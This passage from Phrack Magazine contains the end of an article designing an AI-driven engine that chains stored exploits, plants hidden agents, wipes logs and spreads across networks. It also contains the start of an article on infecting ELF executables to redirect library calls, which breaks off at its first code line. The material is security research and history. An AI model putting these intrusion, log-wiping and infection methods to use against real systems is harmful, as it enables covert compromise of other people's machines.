guarantee you control of the above layer. For example, as an attacker you
might be sniffing the network and see two computers exchanging data. But if
this conversation is encrypted (and assuming you cannot decrypt the session)
you could at best simply disrupt the conversation -- you would not control it.
On the same layer their is a subtlety regarding the Read and Write
capabilities: being able to Read and Write only your own data is of limited
interest from an attacking standpoint, port scanning notwithstanding. Hence
we assume Read and Write capabilities are reached if you can Read and/or
Write data we don't "own".
Given the above definition of Read/Write for a layer, if one can both Read and
Write a layer it MAY be able to Modify it at that layer as well. However if
encryption is in use, this is not guaranteed. Therefore Read/Write
capabilities on a layer is required yet insufficient for Modify capabilities.
On a perfectly designed and secured system, one should not be able to get
additional rights on a higher layer. The attack engine works by exploiting
security breach to progressively reach a desired goal given a starting point.
For instance, achieving administrative access by starting with just the IP
address of the victim.
In order to illustrate some of this, let's define a very primitive
"Local Situation Access Classification" :
LS
6 kernel level (R,W,M)
5 drivers level (R,W,M)
4 process level (R,W,M)
3 user/group admin (R,W,M)
2 user/group "average" (R,W,M)
1 user/group null (R,W,M)
Now that we hold a classification hierarchy of access level, we need to
apply this to the security breach we know of.
For example in the NMRC Pandora project, a Hijacking attack called
"Level 3-1" would be referenced in this manner:
Name Systems Versions Level required Level gained
----------- -------- -------------- -------------- ------------
"Level 3-1" "Novell" "4.11","5 IPX" "Remote 3 M" "Local 3 R W"
This hack works on two levels -- a remote compromise of the IPX session,
and the payload that will actually give you admin privilege.
Another attack from Pandora called "GameOver" that exploits a bug looks
like so:
Name Systems Versions Level required Level gained
----------- -------- -------------- -------------- ------------
"GameOver" "Novell" "4.11","5 IPX" "5 W" "Local 4 R W"
In this case the process attacked is Bindery Supervisor equivalent in
rights. The Bindery Supervisor holds a restricted set of the Admin
rights. In this example we clearly see that this primitive description
of Local Situation doesn't quite fit -- although we have achieved a
higher level we have a restricted set of rights compared to previous
attack. A better Classification is to be devised.
The NMap[2] tool would be:
Name Systems Versions Level required Level gained
----------- -------- -------------- -------------- ------------
"NMAP" "ALL" "ALL" "3 W*" "5 R*"
W* and R* mean Write and Read in a restricted sense. Write implies valid
data you can legitimately write, Read data that you "own".
Two advantages are immediately obvious from this approach
-- Recognition of re-usability in attacks (e.g. if you only have R*/W*
access in a 3com switched environment running an attack to overload the
switch MAC table would provide you with R/W access and opens doors to
new attacks).
-- Independence of the type of code used for the attacks (scripts, Perl,
C, etc.) with the actual hack engine.
To facilitate the reference, the web's most popular hack archives [3][4][5]
could automate this in their commentary. This will be highlighted in the
next section.
Before we get there let's refine the classification method:
Assumptions
-----------
(1) For each situation (via network, via local process, via physical
access) a set of layer between you and the goal are defined.
(2) Each layer, independent from any other, are linked top-down.
(3) A layer is defined by its uniqueness and the ability to associate
Read/Write and Modify access levels for it.
Implications
------------
(1) Modify access in the highest layer implies control of all the preceding
layers (Layer N+1 includes Layer N), restricted by the given
Classification (in a Remote Situation that would be the process's
dependant layers, in a Local Situation, the runlevels).
(2) R/W/M access is a superset of R*/W*/M* where R*/W*/M* is the
legitimate privilege access for a layer and R/W/M includes access
to more privileges for the same layer (M>M*,W>W*,R>R*).
(3) Read/Write access to a layer is required to gain Modify access but
is not sufficient.
(4) The concept of security breach comes from the fact that there exists
a way to gain access to a higher layer (or access level) by defeating
the security policy protocol between two layers (or access levels).
For classification to be really universal and easily implemented, the three
situations (Remote, Local, Physical) must be devised in layers that apply
to all known systems. This might sound a bit utopic, yet the OSI model for
remote access seems universal enough since virtually every networked system is
either based on it or can be appropriately mapped against it. For Local access
to a system (via a remote shell, local session or whatever) to be properly
specified in layers, we should first look into what could be universally
considered as local system security layers such as run levels, groups and
users and hardware access (this has yet to be done). Physical access, brings
into light a world ruled by other means than just electricity, so things
might not be so obvious.
----| Storage : A Hack Database
Now that we have a Universal Classification for Remote, Local and Physical
access, let's set the following abbreviations:
Remote Situation : RS
Local Situation : LS
Physical Situation : PS
Layer N : L(N)
Layer N-1 : L(N-1)
Read access : R
Write access : W
Modify access : M
Restricted Read access : R*
Restricted Write access : W*
Restricted Modify access : M*
A privilege level is defined by the "tuple" : (situation, layer(x), access).
For example, ability to modify the application sendmail remotely (given OSI
model above) would be sendmail (RS,L(6),M). A remote buffer overflow in
sendmail, that just requires an attacker to send a mail to the daemon would be
listed this way:
Name Systems Versions Level required Level gained
--------------- -------- --------------- -------------- ------------
Sendmail-sploit All Unix Sendmail 8.10.1 (RS,L(6),W*) (LS,L(3),M)
We would also store the attack code in the database as well (remembering
the actual attack engine will be separate).
The stored code would return a value indicating attack success or failure,
and could also return parameters to be used with further attacks on completion.
For instance, a successful remote Sendmail buffer overflow would return TRUE
and a handle to the remote shell; then the attack would be taken to the
LS level where local attacks would be run to get runlevel 0 access (or root).
This means the attack engine would run stored functions in a dynamic database,
such as:
*------------* *-----------*
| Attacks | | Results |
*------------* *-----------*
| Attack_ID | | Result_ID |
| Name | | Type |
| System | 0,1---0,N-> | Identifier|
| Version | *-----------*
| Level Req | | Handle |
| Level Gain | *-----------*
*------------*
| Code |
*------------*
Attack_ID and Result_ID are unique.
The relation between the Attack table and the Result table is "one to many".
An attack could have been completed successfully on various targets. A
"result" is linked to one and only one attack.
In the result table the Type defines whatever it is, a temporary hack or a
permanent one (like a backdoor), the Identifier specifies a unique name to
the target (IP address, DNS name...).
The handle would be a pointer to a successful hack, based on the situation,
i.e. in a Remote attack a pointer to a Libnet[6] structure, in a Local attack
a pointer to a shell, a remote cmd.exe...
The "Code" part in the "Attack table" would be either the source code, which
means we have a built-in compiler in the engine, the attack binary code that
would require platform specific code to be pre-built, or some sort of
scripting language we would rewrite all attacks with (see Nessus in comparison
chapter below).
Those specifications are far from completed and the database is very simple,
but you get the point. The idea is to separate on the diagram what is gained
from knowledge (Attacks), to what is gained in the wild (Results). Just as
an example, that could be :
(known exploits code)
Systems-0,1-0,N-Vulnerabilities-0,N-0,1-Instructions
(known systems) | (known related instructions/daemons/programs...)
|
0,1
|
0,N
|
Result (handles to hack, Libnet stack, shell ...)
| (& collected info, e.g. [10.0.0.1] is [Novell 5sp3])
0,N
|
0,1
|
Target (standard specification of target IP,Name...)
This approach implies either standardized interfaces of hacks (normalized input
parameters and output handles), or a "Superset Code" could be written, that
given the attacks specifications (input parameters, Level Req'd, Level Gained),
would wrap the attack, run it, and return values in our standard form. Since
writing regular expression engines is, ahem, NOT fun maybe we could decide for
the first solution.
With respect to what we have seen in the Classification of the Remote
Situation, we stated that compromising a layer is understood in the restricted
sense of the attacked application's layers. Yet we could assume that
compromising an application, say Sendmail, would give you control over another
one, maybe DNS in this case. We need to be able to describe this in the
database -- compromising an application might give you control over some
others. A schematic representation would be:
0,1-[hack_id]-0,N (recursive link - a hack grants you access to more than)
| | (one system/instructions)
(known exploits code)
(and access levels)
Systems-0,1-0,N-Vulnerabilities-0,N-0,1-Instructions
(known systems) | (known related instructions/daemons/programs...)
|
0,1
|
0,N
|
Result (handles to hack, Libnet stack, shell ...)
| (& collected info, e.g. [10.0.0.1] is [Novell 5sp3])
0,N
|
0,1
|
Target (standard specification of target IP,Name...)
So we have now a pretty good idea of what the unified hack database would look
like:
1) A knowledge database of known systems, systems instructions and associated
exploits.
2) The database would have a standard for describing all fields.
3) It would define the level required/level gained "tuples" (situation,
layer(x),access), for each known exploit.
4) Exploit code would be stored in the database and follow a standard
representation of the interface (normalized input parameters and
output handles).
There exists today an international effort for a standard way to describe
exploits. Such databases are in their infancy, but strong projects like
CVE[7] are certainly breaking new ground.
The aim of such standardization is to achieve unified descriptions of attack
scenarios (to be used in attack automation, either via vulnerability
assessment tools or actual penetration tools). Therefore our attack engine
would offer three modes:
- Simulation (no actual attack performed, but we could use results for
vulnerability assessments, future attack scenarios, etc),
- Manual (attack performed manually, no wrap code, like the mils;-)),
- Automated (the ultimate Hacking Machine).
----| Artificial Intelligence
The reader might not be trained in AI, so let's attempt to define some
of the principles we need for this discussion.
--| Intelligence
AI is by no means meant to "create", but rather to "think". Thinking,
logically and reproducibly, is a process, therefore it may be mimicked by a
machine. In fact, given the proper thinking strategy and process a computer
solves known problems much faster than humans. Building a new Hack is a
simple process if the methodology is known. If the methodology is not known
you must create it. When no logical path takes you to where you want to go you
have to create a new Hack when it can't be related to any other hacks. The
new Hack then enrichs the world of known hacks, and can possibly be added to
the overall Hack process. It is assumed that AI can solve our problems, given
the following restrictions:
1) The problem solving time is, generally, unpredictable and may
even take years if done manually.
2) The problems that can't be solved because an individual doesn't
hold enough "process knowledge" for resolution (or the knowledge
necessary can't be described with the formalism we've chosen, see
the Godel theorem of incompleteness and the book "Godel Escher
Bach, The Eternal Golden Braid" by Douglas Hofstadter).
In other words, any system can be hacked; granted we have enough time and
known hacks for this purpose.
--| Inference
The "thinking engine" we want to use here will have to use known facts
(hacks) against field results, to explore the paths that takes us to the
ultimate goal (or result). Such engines are described in AI as "inference
engines", starting from the goal and finding a possible path to the knowledge
base is called "backward inference", starting from the knowledge base and
finding a path to the goal is called "forward inference". In the present case
"backward inference" is only good for simulation, but in the field we can only
use "forward inference" (which is algorithmically known as being slower than
backward inference).
The initial theory behind inference engines is based on two "logic" rules,
one for forward inference called Modus Ponens (MP) the other for backward
inference called Modus Tollens (MT). MP states that [if (P) AND (P includes Q)
THEN (Q)], MT says [if (NOT Q) AND (P implies Q) THEN (NOT P)].
--| The Inference Engine
Algorithmically speaking, the Inference Engine is a recursive algorithm that
takes a set of known facts as input (target is www.blabla.bla), processes it
against the database of rules (if RedHat 5.0 then SendMail is vulnerable) and
adds a new facts to the set (if target is RedHat 5.0 then target is vulnerable
to SendMail bug). The engine stops when either we have reached our goal
(target is compromised) or we can't add anything new to the set of facts (all
possibilities have been explored). In order to optimize the process, the
Inference Engine is set to use strategies in choosing which rules to test first
(buffer overflow might be easier to try than "tmp race", so we set the engine
to try a buffer overflow first). As discussed in the following "distributed"
section, it is essential to see that the hacking process is not in the engine
itself, but in the database rulesets. For instance, tests would be performed
to understand the target installation/setup/OS and match the subsequent hacks,
the engine provides the mechanism for this and the rulesets the paths to
understand how one must attack. It is in the description of the ruleset that
we have the actual "Intelligence", hence if a new OS appears on the market
with a new security mechanism, we do not need to rewrite the engine, but
specify new rules specific to this OS.
--| An Inference Engine of order 0
Consider a ruleset that contains no variables, only static facts:
If monkey close to tree, monkey on tree
If monkey on tree AND banana on tree, monkey eat banana
We use "order 0" inference engine (O.K AI pals, this is not quite the
definition, yes there is a whole theory behind this, we know, don't flame us).
With the initializing fact
monkey close to tree
we will get
monkey on tree
and finally
monkey eat banana
--| An Inference Engine of order 1
If the ruleset contains variables :
If monkey close to (X), monkey on (X)
If monkey on (X) AND banana on (X), monkey eat banana
The inference engine that processes the rules and operates variable
substitution is said to be of order 1 (And if you're curious to know, there is
no engine of order 2 or higher, all problems are proven to be described in
order 1). This is the type of engine we want to use, as it allow us to use
variables -- they will be the "handles" resulting of our hacks.
--| Pattern Matching
Just like there are interpreted languages and faster-running compiled ones,
there are AI Inference Engines based on "interpreted rulesets" and other
based on "compiled rulesets". Compiling the ruleset means you have to
rearrange it in such a way that is "immediately efficient". The compilation
method we're interested in is called Pattern Matching and is based on binary
trees. For instance, lets assume the following:
Initial database:
Name Systems Versions Level required Level gained
----------- -------- -------------- -------------- ------------
d0_v8-BOF Unix,All Sendmail 8.8.* (RS,L(6),W*) (LS,L(3),M)
d0_v9-BOF Unix,All Sendmail 8.9.1 (RS,L(6),W*) (LS,L(3),M)
Ruleset:
if system[X] is Unix AND Version[Y] is Sendmail 8.8.* AND
Level_s[Z] is RS AND Level_l[Z] is 6 AND Level_a[Z] is W* AND
Hack(d0_v8-BOF,X) THEN Level_a[Z] is [LS,L3,M]
if system[X] is Unix AND Version[Y] is Sendmail 8.9.1 AND
Level_s[Z] is RS AND Level_l[Z] is 6 AND Level_a[Z] is W* AND
Hack(d0_v9-BOF,X) THEN Level_a[Z] is [LS,L3,M]
Compiled ruleset for pattern matching:
system
|
[Sendmail]
|
version
|
[UNIX]
|
level_s
|
[RS]
|
level_l
|
[6]
|
level_a
|
[W*]
|
FUNC
/ \n / \n / \n / \n [d0_v8-BOF] [d0_v9-BOF]
/
----------
|
*
level_s [L]
level_l [3]
level_a [M]
[] are used to represent variables, filled in for clarity
The tree is parsed from the top every time a new fact is added to the
knowledge database, and this allows for a dynamic-algorithm (i.e. intelligent
self-modifying knowledge base). When the tree is parsed and brings in a new
fact, the knowledge base is increased with this fact, and the tree is parsed
again for more facts...
Since an attack happens in different phases (see distributed chapter below),
facts may have different impacts. They may just be collected facts (system is
RH6.0, buffer overflow on sendmail possible, "poor default config" exploit
on sendmail possible), or facts that trigger attacks (buffer overflow and
"poor config" exploits possible, rule says test config first -- config exploit
will be tested and result added to database, we gain new rights or we move on).
Optimization comes from the fact that whereas in the flat ruleset sample all
rules must be parsed to find the matching one, in a tree-like representation a
simple pattern matching mechanism shows the right branch. Although it's a pain
to compile such a ruleset into a tree is not obvious for a few rules on our
database, it really shows if the database contains thousands of facts. Besides,
once the database is compiled into a tree, it's done and you dont have to do it
again (insertion of new elements into a tree is possible, yet the tree could
also be recompiled on each new addition).
More optimization, not for engine itself but in the hacking sense, can be
achieved if we set some "grading rules" per attack and organize the tree this
way -- say we know two attacks for Sendmail, same version, one relies on a
complex buffer overflow and the other on misconfiguration. The
misconfiguration should be tried first (if the buffer overflow fails we might
kill Sendmail altogether), hence given a higher mark. This marking process
would look at two factors -- the level required to perform attack and method
use, for instance:
Situation - Grade - Level - Grade - Method - Grade
Remote +100 6 +60 Config +3
Local +200 5 +50 Filesys +2
4 +40 BuffOver +1
...
The guarding mechanism can be automated in the AI, the method is another piece
of information to be Classified and stored in the Hack Database.
--| A Pattern Matching, Forward Inference Engine of Order 1
So what we're looking for is :
An AI engine, of forward inference type, of order 1. The engine is better
optimized, like in pattern matching for instance and it allows for function
executions.
An academic sample of such an algorithm is the RETE algorithm (beyond the scope
of this preliminary discussion) and the interested reader is directed to the
paper by Charles L. Forgy in "Artificial Intelligence" : "The RETE Matching
Algorithm" (Dept of Computer Science, Carnegie-Mellon University). You could
also look into a similar systems called OPS and TANGO ("OPS5 user's manual" by
the same author and "TANGO" by Cordier-Rousset from L.R.I of Orsay Faculty in
France). Working code of RETE can be found at the MIT repository [8]. You
can also check Pr. Miranker's Venus project [9]. Original code for OPS exists
in LISP [10]. However, the one piece of work that would definitely match
our expectation is a system called CLIPS, written in C, by NASA (initially
by NASA, but now it is maintained in the public domain) [11].
--| The Hacking Engine
The engine will first query the database of facts for all known hacks sorted
in the classification form we defined along with systems and versions
information, these known hacks are written as a set of rules the exact
representation of hacks into rules is linked to the engineitself and is yet to
be defined.
Then this ruleset is compiled into a binary tree (or some other efficient
data structure) for better optimization, provided a proper optimizing
strategy (which may branch to the left-most side for instance, maybe granted a
difficulty grade per attack). The optimizing strategy might take the
classification rules into account to decide that if a higher level is reached,
all branches that refer to lower level attacks must be ignored -- this would
be a called "restrictive optimization".
The engine is initialized with the initially known facts (target id), and
starts applying rules to these facts in order to get more information out of
them, until the goal is reached or all branches have been explored. The
engine in simulation mode would only use the initializing facts and match
function calls with them, in manual mode the hacker would be provided the
function code by the engine that would then wait for the result, in automatic
mode the engine would run the code itself.
----| Distributed paradigm
Distributed hacking theory, analysis and advantage has been extensively
reviewed in an excellent article by Andrew J. Stewart entitled "Distributed
Metastasis [12]. Hence we will base this proposed implementation on it,
please refer to the above article.
--| Distributed Schematic
In a distributed attack, the attacker (A) is the "parent" of all nodes
(agents). Each node is characterized by a running agent (the hacking engine),
its address (IP,IPX...), and the level the agent is running at. For instance:
[10.0.0.1,A,parent], knows (10.0.2.1,10.0.2.5,10.0.3.1)
|
|
----------------- -----------
| |
[10.0.3.1,A1,(LS,L(3),M)] [10.0.2.1,A2,(LS,L(3),M)], knows 10.0.2.5
|
[10.0.2.5,A3,(LS,L(3),M)]
The attacker knows the existence of all nodes, but communicates through the
hierarchy (to send a command to 10.0.2.5, he issues this to 10.0.2.1 for
routing). This keeps risk to a minimum, should any of the agents be
discovered. When 10.0.2.5 tries to talk to the attacker, he sends stuff via
10.0.2.1 -- A3 knows A2 but not A. It is obvious that if any of the nodes
are to be uncovered, attached parent node and child nodes could be too. In
this case, the Attacker could issue a direct order to any of the potentially
compromised agents to either "attach" themselves to somewhere else, or to
sacrifice the agent's "territory" and have the agent eliminate itself.
Example: Agent 10.0.2.1 was discovered, the Attacker decides to attach
10.0.2.5 to 10.0.3.1 and sacrifice 10.0.2.1.
[10.0.0.1,A,parent], knows (10.0.2.5,10.0.3.1)
|
|
----------------- -----------
| |
[10.0.3.1,A1,(LS,L(3),M)] x
|
[10.0.2.5,A3,(LS,L(3),M)]
To ensure better privacy, encryption is to be used at each node for the
database of "parent&child" they have.
At least two other secret-routing systems can be used:
1. A child knows its parent address, but parent doesn't know its children.
All communication to a child would first require a request to the top
node (A) to learn the location of the children. This would ensure lesser
risk to compromise an entire branch in case one of the node is uncovered
[10.0.0.1,A,parent], knows (10.0.2.5,10.0.3.1)
|
|
----------------- -----------
|
[10.0.3.1,A1,(LS,L(3),M)]
* |
| x
[10.0.2.5,A3,(LS,L(3),M)]
A3 knows how to talk to A1, A1 asks A for who to talk with.
2. All nodes in the tree (except for A) don't know the other nodes' addresses
but know the subnet on which the node resides and may sniff packets. For
instance A1 would send packets to 10.0.2.6, whereas 10.0.2.6 discards it but
10.0.2.5 sees the data and replies to 10.0.3.2. [13]
--| Distributed & Simultaneous Attack
Phase 0
The actual attack happens in phases. The attacker decides on a target and the
level desired. Then the AI will look in the known set of Agents, and the
defined rules for attack optimization. For instance, if we want to attack
10.0.3.2, the AI could decide to pass the attack to 10.0.3.1. The AI could
also decide for multiple agents to attack at once (hence the distributed
paradigm), in this case, collected information (the knowledge base) is passed
between each phase to the Attacker, who could decide to redistribute it to
the attacking agents.
Phase 1
Once a given Agent has received an order to attack, it queries its parent node
for updated hacking database entries. Depending on the initial Attack order
issued, this query might move up to the Attacker or not happen at all. If
the communication model used is hierarchical, we could even implement this in
DNS queries/replies to benefit from the existing code (see Phrack [14] issues
50-53 on this).
Phase 2
The agent performs ruleset optimization as discussed previously chapter.
Phase 3
The agent updates or build its RETE vulnerability tree.
Phase 4
The agent satisfies the first "target detection" ruleset (this includes host,
service, network topology, OS, Application layer info detection), before
moving to the next phase. This happens exclusively as an RS. In the case of
a simultaneous attack (by many agents for one target) information gathered is
moved to the Attacker who might push back other info gathered by the other
agents.
Phase 5
The Agent actually attempts to compromise the target. This phase is not
completed until the level of access the attacker decided upon is reached, and
the "target clean-up" (cleaning the logs) rulesets are satisfied. The cleanup
rules might even trigger the necessary hack of another box where the logs may
reside -- it is common practice in security administration to log to a
different machine (especially at high profile sites with high profile targets).
This phase might fail upon unsuccessful hacks or a timeout.
Phase 6
Install the hacking engine child on target. Target becomes part of the tree as
a subordinate of the successful attacking agent. The Attacker is notified of
the new acquisition.
Phase 7
The new agent goes into passive mode -- it waits for input from its parent and
monitors traffic and trust relationships locally to increase its local
knowledge database. On a regular basis the agent should "push" info to its
parent, this is necessary if the agent is behind a firewall or the address is
set dynamically.
Note: Phase 4+5+6 are the so-called "consolidation components".
The Simultaneous aspects of attack are controlled by the Attacker and not by
delegation to other parent nodes. This could be called Centrally Controlled
Distributed and Simultaneous Attack.
Let's summarize the phases:
Engine Phase Comments
----------- ----- --------
AI 0 Decide for agent(s) to attack target
Incremental 1 Database query
AI 2 Ruleset optimization
Incremental 3 Tree build
AI 4 Target information gathering
AI 5 Compromise target, cleanup
Incremental 6 Seed target
AI 7 New agent enters passive mode
Other concepts can be put into this, such as cryptography and multiple target
acquisition at once. It would certainly be an interesting exercise to write a
valid algorithm for all this.
----| Comparison
--| COPS Kuang system
The "Kuang system", a security analysis tool developed by Robert W. Baldwin of
MIT is included in COPS security package available from Purdue University [15].
The Kuang system is a ruleset-based system used to check UID/GID's rights on a
local system, i.e. it processes a knowledge base (list of privilege
users/files, list of rights needed on users/files to attain their level of
privilege) against a set of rules (if any user can write a startup file of
root, any user can become root). The ruleset is written as such that it is
"string parsable" in the inference engine (which is a forward inference engine
of order 1). The system can perform tests stored in a shell script to decide
if a rule is satisfied by the configuration of the system it is currently
running on.
In comparison to what is described in this paper, the Kuang system evolves
between (LS,L(1)) and (LS,L(3)). It uses a non-optimized forward inference
engine that performs Phase(4) of our distributed scheme.
We should consider the Kuang system as a working-case study, to build Area52.
--| A sample vulnerability scanner : Nessus
The Nessus Open source project [16] aims at providing a free security scanner.
It works by testing systems (remote/local) for known vulnerabilities. The
Nessus developers wrote a scripting language for this purpose -- we mentioned
earlier that the actual coding attacks should be freely coded in a highly
portable language for our proposed system. Yet the Nessus approach is not to
be neglected -- could we use the Nessus effort and extend its scripting
language so to actually re-write all exploits? This would mean a continuous
effort in writing the project, but then alleviates many compatibility and
database issues. We could even hope for a "common hacking language" relying
on multi-platform libraries like libpcap and libnet as core components.
Until an open source vulnerability scanner that can run on multiple platforms
comes along, this is a fairly attractive piece of technology.
--| Another Approach : Attack Trees
As is probably obvious, this "ultimate hack tool" could be used to help
protect as well as compromise. While most of the discussion has been from the
intruder perspective, we could easily use the tool for our own vulnerability
assessment. If we feed the knowledge database with all relevant information
about our own network and run the engine in simulation mode, this will output
a possible sequence of attack. Then, if the engine is told to search for ALL
possible sequences of attack, and the output can be arrange as a tree of
attack sequences (much like the tree of known vulnerabilities describe above),
this would provide a means to help automatically generate "Attack Trees", as
described by Bruce Schneier of Counterpane Internet Security in Dr. Dobb's
Journal [17] (December 1999).
--| Others...
Some distributed denial of service tools, have caused quite a stir in security
circles lately [18]. Those tools expose an interesting sample of distributed
communication and data tunneling, which code could be reused in the project
outlined in this paper. The main problem with these denial of service tools
is that their main output (floods of packets against a target) is never seen
by the Attacker, which is what we would certainly require.
----| References
[1] See discussions by Dr Ross Anderson from University of Cambridge
http://www.cl.cam.ac.uk/Teaching/1998/Security/
[2] NMap by Fyodor.
http://www.insecure.org/nmap
[3] PacketStorm
http://packetstorm.securify.com
[4] Security Bugware
http://oliver.efri.hr/~crv
[5] Security Focus
http://www.securityfocus.com/
[6] Libnet multi-platform packet mangling
http://www.packetfactory.net/libnet/
[7] Common Vulnerabilities and Exposures
http://cve.mitre.org, a unified hack database
[8] RETE LISP implementation
http://www.mit.edu/afs/cs.cmu.edu/project/ai-repository/ai/areas/expert/systems/frulekit/
[9] Prof. Miranker Venus project in C++
http://www.arlut.utexas.edu/~miranker/
[10] Original OPS LISP code
http://www.cs.cmu.edu/afs/cs/project/ai-repository/ai/areas/expert/systems/ops5/
[11] NASA RETE-like system, coded in C, very impressive!
http://www.ghg.net/clips/CLIPS.html
[12] "Distributed Metastasis: A Computer Network Penetration Methodology"
by Andrew J. Stewart
http://www.phrack.com/search.phtml?view&article=p55-16
[13] "Strategies for Defeating Distributed Attacks" by Simple Nomad
http://packetstorm.securify.com/papers/contest/Simple_Nomad.doc
[14] Phrack Magazine
http://www.phrack.com/
[15] Home archive of the COPS system
ftp://coast.cs.purdue.edu/pub/Purdue/cops/
[16] The Nessus Project
http://www.nessus.org
[17] "Attack Trees: Modeling Security Threats" by Bruce Schneier
http://www.ddj.com/articles/1999/9912/9912a/9912a.htm, DDJ article on Attack Trees
[18] Analysis of distributed denial of service tools by David Dittrich
http://staff.washington.edu/dittrich/
Also, the source code for these DoS tools can be found at [3].
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x07[0x10]
|----------- SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION -----------|
|-----------------------------------------------------------------------------|
|--------------------- Silvio Cesare <silvio@big.net.au> ---------------------|
----| INTRODUCTION
This article describes a method of shared library call redirection using ELF
infection that redirects the Procedure Linkage Table (PLT) of an executable
allowing redirection to be resident outside of the infected executable. This
has the advantage over the LD_PRELOAD redirection technique in that no
environment variables are modified, thus remaining more hidden than previous
techniques. An implementation is provided for x86/Linux. For those interested
please visit the following URLs:
http://virus.beergrave.net (The Unix Virus Mailing List)
http://www.big.net.au/~silvio (My page)
----| THE PROCEDURE LINKAGE TABLE (PLT)
From the ELF specifications... (not necessary to read but gives more detail
than the follow-up text)
" Procedure Linkage Table
Much as the global offset table redirects position-independent address
calculations to absolute locations, the procedure linkage table
redirects position-independent function calls to absolute locations.
The link editor cannot resolve execution transfers (such as function
calls) from one executable or shared object to another. Consequently,
the link editor arranges to have the program transfer control to
entries in the procedure linkage table. On the SYSTEM V architecture,
procedure linkage tables reside in shared text, but they use addresses
in the private global offset table. The dynamic linker determines the
destinations' absolute addresses and modifies the global offset
table's memory image accordingly. The dynamic linker thus can redirect
the entries without compromising the position-independence and
sharability of the program's text. Executable files and shared object
files have separate procedure linkage tables.
+ Figure 2-12: Absolute Procedure Linkage Table {*}
.PLT0:pushl got_plus_4
jmp *got_plus_8
nop; nop
nop; nop
.PLT1:jmp *name1_in_GOT
pushl $offset
jmp .PLT0@PC
.PLT2:jmp *name2_in_GOT
pushl $offset
jmp .PLT0@PC
...
+ Figure 2-13: Position-Independent Procedure Linkage Table
.PLT0:pushl 4(%ebx)
jmp *8(%ebx)
nop; nop
nop; nop
.PLT1:jmp *name1@GOT(%ebx)
pushl $offset
jmp .PLT0@PC
.PLT2:jmp *name2@GOT(%ebx)
pushl $offset
jmp .PLT0@PC
...
NOTE: As the figures show, the procedure linkage table instructions use
different operand addressing modes for absolute code and for position-
independent code. Nonetheless, their interfaces to the dynamic linker are
the same.
Following the steps below, the dynamic linker and the program ``cooperate''
to resolve symbolic references through the procedure linkage table and the
global offset table.
1. When first creating the memory image of the program, the dynamic
linker sets the second and the third entries in the global offset
table to special values. Steps below explain more about these
values.
2. If the procedure linkage table is position-independent, the address
of the global offset table must reside in %ebx. Each shared object
file in the process image has its own procedure linkage table, and
control transfers to a procedure linkage table entry only from
within the same object file. Consequently, the calling function is
responsible for setting the global offset table base register before
calling the procedure linkage table entry.
3. For illustration, assume the program calls name1, which transfers
control to the label .PLT1.
4. The first instruction jumps to the address in the global offset
table entry for name1. Initially, the global offset table holds the
address of the following pushl instruction, not the real address of
name1.
5. Consequently, the program pushes a relocation offset (offset) on
the stack. The relocation offset is a 32-bit, non-negative byte
offset into the relocation table. The designated relocation entry
will have type R_386_JMP_SLOT, and its offset will specify the
global offset table entry used in the previous jmp instruction. The
relocation entry also contains a symbol table index, thus telling
the dynamic linker what symbol is being referenced, name1 in this
case.
6. After pushing the relocation offset, the program then jumps to
.PLT0, the first entry in the procedure linkage table. The pushl
instruction places the value of the second global offset table
entry (got_plus_4 or 4(%ebx)) on the stack, thus giving the dynamic
linker one word of identifying information. The program then jumps
to the address in the third global offset table entry (got_plus_8
or 8(%ebx)), which transfers control to the dynamic linker.
7. When the dynamic linker receives control, it unwinds the stack,
looks at the designated relocation entry, finds the symbol's value,
stores the ``real'' address for name1 in its global offset table
entry, and transfers control to the desired destination.
8. Subsequent executions of the procedure linkage table entry will
transfer directly to name1, without calling the dynamic linker a
second time. That is, the jmp instruction at .PLT1 will transfer to
name1, instead of ``falling through'' to the pushl instruction.
The LD_BIND_NOW environment variable can change dynamic linking
behavior. If its value is non-null, the dynamic linker evaluates
procedure linkage table entries before transferring control to the
program. That is, the dynamic linker processes relocation entries of
type R_386_JMP_SLOT during process initialization. Otherwise, the
dynamic linker evaluates procedure linkage table entries lazily,
delaying symbol resolution and relocation until the first execution of
a table entry.
NOTE: Lazy binding generally improves overall application performance,
because unused symbols do not incur the dynamic linking overhead.
Nevertheless, two situations make lazy binding undesirable for some
applications. First, the initial reference to a shared object function
takes longer than subsequent calls, because the dynamic linker
intercepts the call to resolve the symbol. Some applications cannot
tolerate this unpredictability. Second, if an error occurs and the
dynamic linker cannot resolve the symbol, the dynamic linker will
terminate the program. Under lazy binding, this might occur at
arbitrary times. Once again, some applications cannot tolerate this
unpredictability. By turning off lazy binding, the dynamic linker
forces the failure to occur during process initialization, before the
application receives control.
"
To explain in more detail...
Shared library calls are treated special in executable objects because they
cannot be linked to the executable at compile time. This is due to the fact
that shared libraries are not available to the executable until runtime.
The PLT was designed to handle such cases like these. The PLT holds the code
responsible for calling the dynamic linker to locate these desired routines.
Instead of calling the real shared library routine in the executable, the
executable calls an entry in the PLT. It is then up to the PLT to resolve the
symbol it represents and do the right thing.
From the ELF specifications...
" .PLT1:jmp *name1_in_GOT
pushl $offset
jmp .PLT0@PC
"
This is the important info. This is the routine called instead of the library
call. name1_in_GOT originally starts off pointing to the following pushl
instruction. The offset represents a relocation (see the ELF specifications)
offset which has a reference to the symbol the library call represents. This
is used for the final jmp which jumps to the dynamic linker. The dynamic
linker then changes name1_in_GOT to point directly to the routine thus avoiding
dynamic linking a second time.
This summarizes the importance of the PLT in library lookups. It can be noted
that we can change name_in_GOT to point to our own code, thus replacing
library calls. If we save the state of the GOT before replacing, we can call
the old library routine and thus redirect any library call.
----| ELF INFECTION
To inject a redirected library call into an executable requires new code to
be added to an executable. The actual procedure for ELF infection will not
be described here as it has been covered very well in previous articles
(http://www.big.net.au/~silvio - Unix Viruses/Unix ELF Parasites and Virus).
For completeness Data Infection is used for injection, and it is slightly
buggy not being strip safe.
----| PLT REDIRECTION
The algorithm at the entry point code is as follows...
* mark the text segment writeable
* save the PLT(GOT) entry
* replace the PLT(GOT) entry with the address of the new lib call
The algorithm in the new library call is as follows...
* do the payload of the new lib call
* restore the original PLT(GOT) entry
* call the lib call
* save the PLT(GOT) entry again (if its changed)
* replace the PLT(GOT) entry with the address of the new lib call
To explain more how PLT redirection is done, the simplest method is to describe
the sample code supplied. This code is injected into an executable and
becomes the new entry point of the program. The library call that is
redirected is printf, the new code prints a message before the printf
supplied string.
--
ok, save the registers and so forth...
"x60" /* pusha */
mark the text segment as rwx. We do this so we can modify the PLT which is in
